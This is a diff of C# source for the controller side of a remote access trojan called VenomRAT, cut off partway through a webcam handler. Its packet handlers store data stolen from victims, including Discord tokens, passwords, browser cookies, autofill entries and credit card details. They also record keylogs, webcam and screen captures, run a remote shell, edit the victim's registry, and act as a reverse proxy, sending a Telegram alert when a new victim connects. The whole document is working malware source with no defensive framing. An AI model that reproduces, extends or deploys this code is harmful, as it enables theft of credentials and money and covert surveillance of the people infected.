string asString = unpack_msgpack.ForcePathObject("Tokens").AsString;
if (!string.IsNullOrWhiteSpace(asString))
{
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
File.WriteAllText(text + "\\Tokens_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", asString.Replace("\n", Environment.NewLine));
new HandleLogs().Addmsg("Client " + client.Ip + " discord recovery successfile located @ ClientsFolder \\ " + unpack_msgpack.ForcePathObject("Hwid").AsString + " \\ Discord", Color.Purple);
}
else
{
new HandleLogs().Addmsg("Client " + client.Ip + " discord recovery error", Color.MediumPurple);
}
client?.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg(ex.Message, Color.Red);
}
}
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,35 @@
using System;
using System.Drawing;
using System.IO;
using System.Threading.Tasks;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
public class HandleFileSearcher
{
public async void SaveZipFile(Clients client, MsgPack unpack_msgpack)
{
try
{
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "FileSearcher");
if (!Directory.Exists(fullPath))
{
Directory.CreateDirectory(fullPath);
}
await Task.Run(delegate
{
byte[] asBytes = unpack_msgpack.ForcePathObject("ZipFile").GetAsBytes();
File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".zip", asBytes);
});
new HandleLogs().Addmsg("Client " + client.Ip + " File Search successfile located @ ClientsFolder/" + unpack_msgpack.ForcePathObject("Hwid").AsString + "/FileSearcher", Color.Purple);
client.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg("File Search error " + ex.Message, Color.Red);
}
}
}

View File

@ -0,0 +1,25 @@
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
namespace Server.Handle_Packet;
public class HandleFun
{
public void Fun(Clients client, MsgPack unpack_msgpack)
{
try
{
FormFun formFun = (FormFun)Application.OpenForms["fun:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formFun != null && formFun.Client == null)
{
formFun.Client = client;
formFun.timer1.Enabled = true;
}
}
catch
{
}
}
}

View File

@ -0,0 +1,30 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
public class HandleInformation
{
public void AddToInformationList(Clients client, MsgPack unpack_msgpack)
{
try
{
string text = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.Ip + "\\Information");
string text2 = text + "\\Information.txt";
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
File.WriteAllText(text2, unpack_msgpack.ForcePathObject("InforMation").AsString);
Process.Start("explorer.exe", text2);
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}

View File

@ -0,0 +1,27 @@
using System.IO;
using System.Linq;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
namespace Server.Handle_Packet;
internal class HandleKeylogger
{
public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
{
string hwid = unpack_msgpack.ForcePathObject("hwid").GetAsString();
if (Settings.connectedClients.FirstOrDefault((Clients x) => x.info.hwid == hwid) != null)
{
FormTimerKeylog formTimerKeylog = (FormTimerKeylog)Application.OpenForms[hwid + ":TimerKeylog"];
string path = Path.Combine(Application.StartupPath, "ClientsFolder", client.Ip, "online_keylog.log");
string asString = unpack_msgpack.ForcePathObject("log").GetAsString();
File.AppendAllText(path, asString);
if (formTimerKeylog != null && !string.IsNullOrEmpty(asString))
{
formTimerKeylog.AddLog(asString);
}
}
}
}

View File

@ -0,0 +1,108 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Media;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Helper;
using Server.Properties;
namespace Server.Handle_Packet;
public class HandleListView
{
public void HandleMsgPack(Clients client, MsgPack unpack_msgpack)
{
try
{
string asString = unpack_msgpack.ForcePathObject("ClientType").AsString;
_ = unpack_msgpack.ForcePathObject("HWID").AsString;
if (asString == "Normal")
{
AddToListview(client, unpack_msgpack);
TelegramNotify.SendNotify(client.Ip + " connected to VenomRAT!");
}
else if (asString == "Hvnc")
{
LaunchHVNCViewer(client, unpack_msgpack);
}
}
catch
{
}
}
public void LaunchHVNCViewer(Clients client, MsgPack unpack_msgpack)
{
}
public void AddToListview(Clients client, MsgPack unpack_msgpack)
{
try
{
string ip = client.Ip;
lock (Settings.LockBlocked)
{
try
{
if (Settings.Blocked.Contains(client.info.hwid) || Settings.Blocked.Contains(client.Ip))
{
client.Disconnected();
return;
}
}
catch
{
}
}
client.LoadInfo();
string value = client.TcpClient.LocalEndPoint.ToString().Split(':')[1];
List<string> apps = new List<string>(unpack_msgpack.ForcePathObject("apps").AsString.Split(new char[1] { ';' }, StringSplitOptions.RemoveEmptyEntries));
ClientInfo clientInfo = new ClientInfo();
clientInfo.ip = ip;
clientInfo.port = Convert.ToInt32(value);
clientInfo.note = client.info.note;
clientInfo.country = Utils.GetCountryName(ip);
clientInfo.group = unpack_msgpack.ForcePathObject("Group").AsString;
clientInfo.hwid = unpack_msgpack.ForcePathObject("HWID").AsString;
clientInfo.desktopname = unpack_msgpack.ForcePathObject("DesktopName").AsString;
clientInfo.user = unpack_msgpack.ForcePathObject("User").AsString;
clientInfo.cpu = unpack_msgpack.ForcePathObject("CPU").AsString;
clientInfo.gpu = unpack_msgpack.ForcePathObject("GPU").AsString;
clientInfo.ram = unpack_msgpack.ForcePathObject("RAM").AsString;
clientInfo.camera = Convert.ToBoolean(unpack_msgpack.ForcePathObject("Camera").AsString);
clientInfo.os = unpack_msgpack.ForcePathObject("OS").AsString;
clientInfo.version = unpack_msgpack.ForcePathObject("Version").AsString;
clientInfo.admin = unpack_msgpack.ForcePathObject("Admin").AsString.ToLower() != "user";
clientInfo.defender = unpack_msgpack.ForcePathObject("Anti_virus").AsString;
clientInfo.installed = unpack_msgpack.ForcePathObject("Install_ed").AsString;
clientInfo.tooltip = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + " " + Environment.NewLine + "[PasteBin] " + unpack_msgpack.ForcePathObject("Paste_bin").AsString;
clientInfo.apps = apps;
ClientInfo clientInfo2 = clientInfo;
clientInfo2.keyparam.content = unpack_msgpack.ForcePathObject("keylogsetting").AsString;
client.info = clientInfo2;
client.LastPing = DateTime.Now;
client.SaveInfo();
Program.mainform.Invoke((MethodInvoker)delegate
{
Program.mainform.AddClient(client);
new HandleLogs().Addmsg("Client " + client.Ip + " connected", Color.Green);
if (TimeZoneInfo.Local.Id == "China Standard Time" && Server.Properties.Settings.Default.Notification)
{
SoundPlayer soundPlayer = new SoundPlayer(Resources.online);
soundPlayer.Load();
soundPlayer.Play();
}
});
}
catch (Exception ex)
{
new HandleLogs().Addmsg(ex.Message ?? "", Color.Black);
}
}
public void Received(Clients client)
{
}
}

View File

@ -0,0 +1,34 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
namespace Server.Handle_Packet;
public class HandleLogs
{
public static List<LogMsg> LogMsgs = new List<LogMsg>();
public void Addmsg(string Msg, Color color)
{
try
{
LogMsgs.Insert(0, new LogMsg
{
Time = DateTime.Now.ToLongTimeString(),
Msg = Msg
});
Program.mainform.Invoke((MethodInvoker)delegate
{
lock (Settings.LockListviewLogs)
{
Program.mainform.gridControlLog.BeginUpdate();
Program.mainform.gridControlLog.EndUpdate();
}
});
}
catch
{
}
}
}

View File

@ -0,0 +1,30 @@
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
namespace Server.Handle_Packet;
public class HandleNetstat
{
public void GetProcess(Clients client, MsgPack unpack_msgpack)
{
try
{
FormNetstat formNetstat = (FormNetstat)Application.OpenForms["Netstat:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formNetstat != null)
{
if (formNetstat.Client == null)
{
formNetstat.Client = client;
formNetstat.timer1.Enabled = true;
}
string asString = unpack_msgpack.ForcePathObject("Message").AsString;
formNetstat.LoadStates(asString);
}
}
catch
{
}
}
}

View File

@ -0,0 +1,31 @@
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
internal class HandlePassword
{
public void SavePassword(Clients client, MsgPack unpack_msgpack)
{
try
{
string asString = unpack_msgpack.ForcePathObject("Password").GetAsString();
string text = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Password");
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
File.WriteAllText(text + $"\\Password_{DateTime.Now:MM-dd-yyyy HH;mm;ss}.txt", asString);
new HandleLogs().Addmsg("Client " + client.Ip + " password saved successfile located @ ClientsFolder/" + unpack_msgpack.ForcePathObject("Hwid").AsString + "/Password", Color.Purple);
client.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg("Password saved error: " + ex.Message, Color.Red);
}
}
}

View File

@ -0,0 +1,36 @@
using System.Threading;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
public class HandlePing
{
public void Ping(Clients client, MsgPack unpack_msgpack)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").SetAsString("Po_ng");
ThreadPool.QueueUserWorkItem(client.Send, msgPack.Encode2Bytes());
client.info.activewin = unpack_msgpack.ForcePathObject("Message").AsString;
Program.mainform.UpdateActWin(client);
}
catch
{
}
}
public void Po_ng(Clients client, MsgPack unpack_msgpack)
{
try
{
int num = (int)unpack_msgpack.ForcePathObject("Message").AsInteger;
client.info.ping = $"{num} MS";
Program.mainform.UpdatePing(client);
}
catch
{
}
}
}

View File

@ -0,0 +1,37 @@
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
namespace Server.Handle_Packet;
public class HandleProcessManager
{
public class ProcItem
{
public string Name { get; set; }
public string Pid { get; set; }
}
public void GetProcess(Clients client, MsgPack unpack_msgpack)
{
try
{
FormProcessManager formProcessManager = (FormProcessManager)Application.OpenForms["processManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formProcessManager != null)
{
if (formProcessManager.Client == null)
{
formProcessManager.Client = client;
formProcessManager.timer1.Enabled = true;
}
string asString = unpack_msgpack.ForcePathObject("Message").AsString;
formProcessManager.LoadList(asString);
}
}
catch
{
}
}
}

View File

@ -0,0 +1,50 @@
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Newtonsoft.Json;
using Server.Connection;
using Stealer;
namespace Server.Handle_Packet;
public class HandleRecovery
{
public HandleRecovery(Clients client, MsgPack unpack_msgpack)
{
try
{
string text = Path.Combine(Application.StartupPath, "ClientsFolder", client.Ip, "Recovery");
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
string asString = unpack_msgpack.ForcePathObject("data").AsString;
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
BrsInfo brsInfo = JsonConvert.DeserializeObject<BrsInfo>(asString);
File.WriteAllText(text + "\\cookies.json", JsonConvert.SerializeObject(brsInfo.listcookie, Formatting.Indented));
File.WriteAllText(text + "\\passwords.json", JsonConvert.SerializeObject(brsInfo.listps, Formatting.Indented));
File.WriteAllText(text + "\\bookmark.json", JsonConvert.SerializeObject(brsInfo.listbmark, Formatting.Indented));
File.WriteAllText(text + "\\history.json", JsonConvert.SerializeObject(brsInfo.listhist, Formatting.Indented));
File.WriteAllText(text + "\\autofill.json", JsonConvert.SerializeObject(brsInfo.listautofill, Formatting.Indented));
File.WriteAllText(text + "\\credit.json", JsonConvert.SerializeObject(brsInfo.listcredit, Formatting.Indented));
string path = text + "\\cookies.txt";
File.Delete(path);
foreach (Cookie item in brsInfo.listcookie)
{
File.AppendAllText(path, $"{item.domain}\t{item.hostOnly}\t{item.path}\t{item.httpOnly}\t{item.expirationDate}\t{item.name}\t{item.value}\n".Replace("False", "FALSE").Replace("True", "TRUE"));
}
Program.mainform.AddRecoveryClient(client.Ip);
new HandleLogs().Addmsg("Client " + client.Ip + " password recoveried successfile located @ ClientsFolder \\ " + client.Ip + " \\ Recovery", Color.Purple);
client?.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg(ex.Message, Color.Red);
}
}
}

View File

@ -0,0 +1,178 @@
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Microsoft.Win32;
using ProtoBuf;
using Server.Connection;
using Server.Forms;
using Server.Helper;
namespace Server.Handle_Packet;
internal class HandleRegManager
{
public void RegManager(Clients client, MsgPack unpack_msgpack)
{
try
{
switch (unpack_msgpack.ForcePathObject("Command").AsString)
{
case "setClient":
{
FormRegistryEditor formRegistryEditor4 = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor4 != null && formRegistryEditor4.Client == null)
{
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
formRegistryEditor4.Client = client;
formRegistryEditor4.timer1.Enabled = true;
}
break;
}
case "CreateKey":
{
FormRegistryEditor formRegistryEditor8 = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor8 != null)
{
string asString15 = unpack_msgpack.ForcePathObject("ParentPath").AsString;
byte[] asBytes2 = unpack_msgpack.ForcePathObject("Match").GetAsBytes();
formRegistryEditor8.CreateNewKey(asString15, DeSerializeMatch(asBytes2));
}
break;
}
case "LoadKey":
{
FormRegistryEditor formRegistryEditor9 = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor9 != null)
{
string asString16 = unpack_msgpack.ForcePathObject("RootKey").AsString;
byte[] asBytes3 = unpack_msgpack.ForcePathObject("Matches").GetAsBytes();
formRegistryEditor9.AddKeys(asString16, DeSerializeMatches(asBytes3));
}
break;
}
case "DeleteKey":
{
FormRegistryEditor formRegistryEditor6 = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor6 != null)
{
string asString10 = unpack_msgpack.ForcePathObject("ParentPath").AsString;
string asString11 = unpack_msgpack.ForcePathObject("KeyName").AsString;
formRegistryEditor6.DeleteKey(asString10, asString11);
}
break;
}
case "RenameKey":
{
FormRegistryEditor formRegistryEditor2 = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor2 != null)
{
string asString2 = unpack_msgpack.ForcePathObject("rootKey").AsString;
string asString3 = unpack_msgpack.ForcePathObject("oldName").AsString;
string asString4 = unpack_msgpack.ForcePathObject("newName").AsString;
formRegistryEditor2.RenameKey(asString2, asString3, asString4);
}
break;
}
case "CreateValue":
{
FormRegistryEditor formRegistryEditor7 = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor7 != null)
{
string asString12 = unpack_msgpack.ForcePathObject("keyPath").AsString;
string asString13 = unpack_msgpack.ForcePathObject("Kindstring").AsString;
string asString14 = unpack_msgpack.ForcePathObject("newKeyName").AsString;
RegistryValueKind kind = RegistryValueKind.None;
switch (asString13)
{
case "-1":
kind = RegistryValueKind.None;
break;
case "0":
kind = RegistryValueKind.Unknown;
break;
case "1":
kind = RegistryValueKind.String;
break;
case "2":
kind = RegistryValueKind.ExpandString;
break;
case "3":
kind = RegistryValueKind.Binary;
break;
case "4":
kind = RegistryValueKind.DWord;
break;
case "7":
kind = RegistryValueKind.MultiString;
break;
case "11":
kind = RegistryValueKind.QWord;
break;
}
RegistrySeeker.RegValueData regValueData = new RegistrySeeker.RegValueData();
regValueData.Name = asString14;
regValueData.Kind = kind;
regValueData.Data = new byte[0];
formRegistryEditor7.CreateValue(asString12, regValueData);
}
break;
}
case "DeleteValue":
{
FormRegistryEditor formRegistryEditor5 = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor5 != null)
{
string asString8 = unpack_msgpack.ForcePathObject("keyPath").AsString;
string asString9 = unpack_msgpack.ForcePathObject("ValueName").AsString;
formRegistryEditor5.DeleteValue(asString8, asString9);
}
break;
}
case "RenameValue":
{
FormRegistryEditor formRegistryEditor3 = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor3 != null)
{
string asString5 = unpack_msgpack.ForcePathObject("keyPath").AsString;
string asString6 = unpack_msgpack.ForcePathObject("OldValueName").AsString;
string asString7 = unpack_msgpack.ForcePathObject("NewValueName").AsString;
formRegistryEditor3.RenameValue(asString5, asString6, asString7);
}
break;
}
case "ChangeValue":
{
FormRegistryEditor formRegistryEditor = (FormRegistryEditor)Application.OpenForms["remoteRegedit:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formRegistryEditor != null)
{
string asString = unpack_msgpack.ForcePathObject("keyPath").AsString;
byte[] asBytes = unpack_msgpack.ForcePathObject("Value").GetAsBytes();
formRegistryEditor.ChangeValue(asString, DeSerializeRegValueData(asBytes));
}
break;
}
}
}
catch
{
}
}
public static RegistrySeeker.RegSeekerMatch[] DeSerializeMatches(byte[] bytes)
{
using MemoryStream source = new MemoryStream(bytes);
return Serializer.Deserialize<RegistrySeeker.RegSeekerMatch[]>((Stream)source);
}
public static RegistrySeeker.RegSeekerMatch DeSerializeMatch(byte[] bytes)
{
using MemoryStream source = new MemoryStream(bytes);
return Serializer.Deserialize<RegistrySeeker.RegSeekerMatch>((Stream)source);
}
public static RegistrySeeker.RegValueData DeSerializeRegValueData(byte[] bytes)
{
using MemoryStream source = new MemoryStream(bytes);
return Serializer.Deserialize<RegistrySeeker.RegValueData>((Stream)source);
}
}

View File

@ -0,0 +1,72 @@
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
using Server.Helper;
namespace Server.Handle_Packet;
public class HandleRemoteDesktop
{
public void Capture(Clients client, MsgPack unpack_msgpack)
{
try
{
FormRemoteDesktop formRemoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
try
{
if (formRemoteDesktop != null)
{
if (formRemoteDesktop.Client == null)
{
formRemoteDesktop.Client = client;
formRemoteDesktop.labelWait.Visible = false;
formRemoteDesktop.timer1.Start();
byte[] asBytes = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap bitmap = formRemoteDesktop.decoder.DecodeData(new MemoryStream(asBytes));
formRemoteDesktop.rdSize = bitmap.Size;
Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
}
byte[] asBytes2 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
lock (formRemoteDesktop.syncPicbox)
{
using (MemoryStream inStream = new MemoryStream(asBytes2))
{
Bitmap bitmap2 = (Bitmap)(formRemoteDesktop.GetImage = formRemoteDesktop.decoder.DecodeData(inStream));
formRemoteDesktop.rdSize = bitmap2.Size;
}
formRemoteDesktop.pictureBox1.Image = formRemoteDesktop.GetImage;
formRemoteDesktop.FPS++;
if (formRemoteDesktop.sw.ElapsedMilliseconds >= 1000)
{
string[] obj = new string[10] { "RemoteDesktop:", client.ID, " FPS:", null, null, null, null, null, null, null };
int fPS = formRemoteDesktop.FPS;
obj[3] = fPS.ToString();
obj[4] = " Screen:";
obj[5] = formRemoteDesktop.GetImage.Width.ToString();
obj[6] = " x ";
obj[7] = formRemoteDesktop.GetImage.Height.ToString();
obj[8] = " Size:";
obj[9] = Methods.BytesToString(asBytes2.Length);
formRemoteDesktop.Text = string.Concat(obj);
formRemoteDesktop.FPS = 0;
formRemoteDesktop.sw = Stopwatch.StartNew();
}
return;
}
}
client.Disconnected();
}
catch (Exception)
{
}
}
catch
{
}
}
}

View File

@ -0,0 +1,14 @@
using System.Drawing;
using Server.Connection;
using Server.Properties;
namespace Server.Handle_Packet;
public class HandleReportWindow
{
public HandleReportWindow(Clients client, string title)
{
new HandleLogs().Addmsg("Client " + client.Ip + " opened [" + title + "]", Color.Blue);
_ = Server.Properties.Settings.Default.Notification;
}
}

View File

@ -0,0 +1,185 @@
#define TRACE
using System;
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Newtonsoft.Json;
using Server.Connection;
using Server.Forms;
using Server.ReverseProxy;
namespace Server.Handle_Packet;
public class HandleReverseProxy
{
private readonly ReverseProxyServer _socksServer = new ReverseProxyServer();
public Clients CommunicationClient;
public FormReverseProxy ProxyForm
{
get
{
if (CommunicationClient == null)
{
return null;
}
string name = "Reverse Proxy : " + CommunicationClient.info.hwid;
FormReverseProxy formReverseProxy = (FormReverseProxy)Application.OpenForms[name];
if (formReverseProxy == null)
{
FormReverseProxy formReverseProxy2 = new FormReverseProxy();
formReverseProxy2.Name = name;
formReverseProxy2.Text = "Reverse Proxy for " + CommunicationClient.Ip + " (" + CommunicationClient.info.hwid + ")";
formReverseProxy = formReverseProxy2;
}
return formReverseProxy;
}
}
public void StartReverseProxyServer(ushort port)
{
_socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
_socksServer.OnUpdateConnection += socksServer_onUpdateConnection;
_socksServer.StartServer(CommunicationClient, port);
}
public void StopReverseProxyServer()
{
_socksServer.Stop();
_socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished;
_socksServer.OnUpdateConnection -= socksServer_onUpdateConnection;
}
private void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient)
{
if (ProxyForm == null)
{
return;
}
new Thread((ThreadStart)delegate
{
Program.mainform.Invoke((MethodInvoker)delegate
{
ProxyForm.OnReport(_socksServer.OpenConnections);
});
}).Start();
}
private void socksServer_onUpdateConnection(ReverseProxyClient proxyClient)
{
if (ProxyForm == null)
{
return;
}
new Thread((ThreadStart)delegate
{
Program.mainform.Invoke((MethodInvoker)delegate
{
ProxyForm.OnReport(_socksServer.OpenConnections);
});
}).Start();
}
public void Dispose()
{
Dispose(disposing: true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
StopReverseProxyServer();
}
}
public void ExitProxy()
{
try
{
CommunicationClient.Disconnected();
CommunicationClient = null;
StopReverseProxyServer();
}
catch
{
}
}
public void ConnectionEstablised(Clients client)
{
_ = "Reverse Proxy : " + client.info.hwid;
CommunicationClient = client;
Program.mainform.Invoke((MethodInvoker)delegate
{
if (ProxyForm != null)
{
ProxyForm.ShowDialog();
}
});
}
public void ConnectionResponse(ReverseProxyConnectResponse msg)
{
_socksServer.GetClientByConnectionId(msg.ConnectionId)?.HandleCommandResponse(msg);
if (msg.IsConnected)
{
Trace.WriteLine($"Server: Connected to {msg.HostName}:{msg.RemotePort}");
}
}
public void DataArrived(ReverseProxyData msg)
{
_socksServer.GetClientByConnectionId(msg.ConnectionId)?.SendToClient(msg.Data);
}
public void Disconnected(ReverseProxyDisconnect msg)
{
_socksServer.GetClientByConnectionId(msg.ConnectionId)?.Disconnect();
}
public void Execute(Clients client, MsgPack unpack_msgpack)
{
try
{
_ = unpack_msgpack.ForcePathObject("Hwid").AsString;
ReverseProxyCommands reverseProxyCommands = (ReverseProxyCommands)unpack_msgpack.ForcePathObject("type").AsInteger;
string asString = unpack_msgpack.ForcePathObject("json").AsString;
switch (reverseProxyCommands)
{
case ReverseProxyCommands.INIT:
ConnectionEstablised(client);
break;
case ReverseProxyCommands.CONNECTRESPONSE:
{
ReverseProxyConnectResponse msg3 = JsonConvert.DeserializeObject<ReverseProxyConnectResponse>(asString);
ConnectionResponse(msg3);
break;
}
case ReverseProxyCommands.DATA:
{
ReverseProxyData msg2 = JsonConvert.DeserializeObject<ReverseProxyData>(asString);
DataArrived(msg2);
break;
}
case ReverseProxyCommands.DISCONNECT:
{
ReverseProxyDisconnect msg = JsonConvert.DeserializeObject<ReverseProxyDisconnect>(asString);
Disconnected(msg);
break;
}
}
}
catch
{
}
}
public void CloseConnection(int index)
{
_socksServer.KillConnection(index);
}
}

View File

@ -0,0 +1,25 @@
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
namespace Server.Handle_Packet;
public class HandleShell
{
public HandleShell(MsgPack unpack_msgpack, Clients client)
{
FormShell formShell = (FormShell)Application.OpenForms["shell:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
if (formShell != null)
{
if (formShell.Client == null)
{
formShell.Client = client;
formShell.timer1.Enabled = true;
}
formShell.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("ReadInput").AsString);
formShell.richTextBox1.SelectionStart = formShell.richTextBox1.TextLength;
formShell.richTextBox1.ScrollToCaret();
}
}
}

View File

@ -0,0 +1,66 @@
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
public class HandleStealer
{
public static void RecursiveDelete(string path)
{
if (!Directory.Exists(path))
{
return;
}
string[] files = Directory.GetFiles(path);
foreach (string path2 in files)
{
try
{
File.Delete(path2);
}
catch
{
}
}
files = Directory.GetDirectories(path);
for (int i = 0; i < files.Length; i++)
{
RecursiveDelete(files[i]);
}
}
public void SaveData(Clients client, MsgPack unpack_msgpack)
{
try
{
client.ID = unpack_msgpack.ForcePathObject("Hwid").AsString;
string text = Path.Combine("ClientsFolder", client.Ip, "VenomStealer");
string text2 = Path.Combine(Application.StartupPath, "ClientsFolder", client.Ip, "VenomStealer");
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
string path = text2 + "\\Logs.txt";
string asString = unpack_msgpack.ForcePathObject("info").AsString;
File.WriteAllText(path, asString);
byte[] asBytes = unpack_msgpack.ForcePathObject("zip").GetAsBytes();
string path2 = text2 + "\\VenomSteal.zip";
if (File.Exists(path2))
{
File.Delete(path2);
}
File.WriteAllBytes(path2, asBytes);
new HandleLogs().Addmsg("GrabData from " + client.Ip + " is Saved to " + text + "!", Color.Blue);
Program.mainform.AddGrabClient(client.Ip);
client?.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg("Save stealer file fail " + ex.Message, Color.Red);
}
}
}

View File

@ -0,0 +1,41 @@
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
public class HandleThumbnails
{
public HandleThumbnails(Clients client, MsgPack unpack_msgpack)
{
try
{
if (client.LV2 == null)
{
client.LV2 = new ListViewItem();
client.LV2.Text = $"{client.Ip}:{client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}";
client.LV2.ToolTipText = client.ID;
client.LV2.Tag = client;
using MemoryStream stream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes());
Program.mainform.ThumbnailImageList.Images.Add(client.ID, Image.FromStream(stream));
client.LV2.ImageKey = client.ID;
lock (Settings.LockListviewThumb)
{
Program.mainform.listViewScreen.Items.Add(client.LV2);
return;
}
}
using MemoryStream stream2 = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes());
lock (Settings.LockListviewThumb)
{
Program.mainform.ThumbnailImageList.Images.RemoveByKey(client.ID);
Program.mainform.ThumbnailImageList.Images.Add(client.ID, Image.FromStream(stream2));
}
}
catch
{
}
}
}

View File

@ -0,0 +1,118 @@
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Forms;
using Server.Helper;
namespace Server.Handle_Packet;
internal class HandleWebcam
{
public HandleWebcam(MsgPack unpack_msgpack, Clients client)
{
string asString = unpack_msgpack.ForcePathObject("Command").AsString;
if (!(asString == "getWebcams"))
{
if (!(asString == "capture"))
{
return;
}
FormWebcam formWebcam = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
try
{
if (formWebcam != null)
{
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
{
formWebcam.GetImage = (Image)Image.FromStream(memoryStream).Clone();
formWebcam.pictureBox1.Image = formWebcam.GetImage;
formWebcam.FPS++;
if (formWebcam.sw.ElapsedMilliseconds >= 1000)
{
if (formWebcam.SaveIt)
{
if (!Directory.Exists(formWebcam.FullPath))
{
Directory.CreateDirectory(formWebcam.FullPath);
}
formWebcam.pictureBox1.Image.Save(formWebcam.FullPath + "\\IMG_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".jpeg", ImageFormat.Jpeg);
}
string[] obj = new string[10]
{
"Webcam:",
unpack_msgpack.ForcePathObject("Hwid").AsString,
" FPS:",
null,
null,
null,
null,
null,
null,
null
};
int fPS = formWebcam.FPS;
obj[3] = fPS.ToString();
obj[4] = " Screen:";
obj[5] = formWebcam.GetImage.Width.ToString();
obj[6] = " x ";
obj[7] = formWebcam.GetImage.Height.ToString();
obj[8] = " Size:";
obj[9] = Methods.BytesToString(memoryStream.Length);
formWebcam.Text = string.Concat(obj);
formWebcam.FPS = 0;
formWebcam.sw = Stopwatch.StartNew();
}
return;
}
}
client.Disconnected();
return;
}
catch
{
return;
}
}
FormWebcam formWebcam2 = (FormWebcam)Application.OpenForms["Webcam:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
try
{
if (formWebcam2 != null)
{
